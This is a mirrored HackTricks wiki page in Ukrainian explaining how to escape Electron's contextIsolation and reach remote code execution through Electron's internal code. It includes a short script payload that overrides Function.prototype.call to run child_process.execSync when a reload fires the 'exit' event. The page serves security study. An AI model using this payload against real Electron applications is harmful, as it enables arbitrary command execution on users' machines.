mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
2.3 KiB
2.3 KiB
Electron contextIsolation RCE через внутрішній код Electron
{{#include ../../../banners/hacktricks-training.md}}
Приклад 1
Слухач події "exit" завжди встановлюється внутрішнім кодом, коли починається завантаження сторінки. Ця подія виводиться безпосередньо перед навігацією:
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
{{#ref}}
664c184fcb/lib/common/asar.js (L30-L36)
{{#endref}}
8a44289089/bin/events.js (L156-L231)
-- Більше не існує
Потім це переходить сюди:
Де "self" є об'єктом процесу Node:
Об'єкт процесу має посилання на функцію "require":
process.mainModule.require
Оскільки handler.call отримує об'єкт процесу, ми можемо перезаписати його для виконання довільного коду:
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>
Приклад 2
Отримати об'єкт require з забруднення прототипу. З https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
Витік:

Експлуатація:

{{#include ../../../banners/hacktricks-training.md}}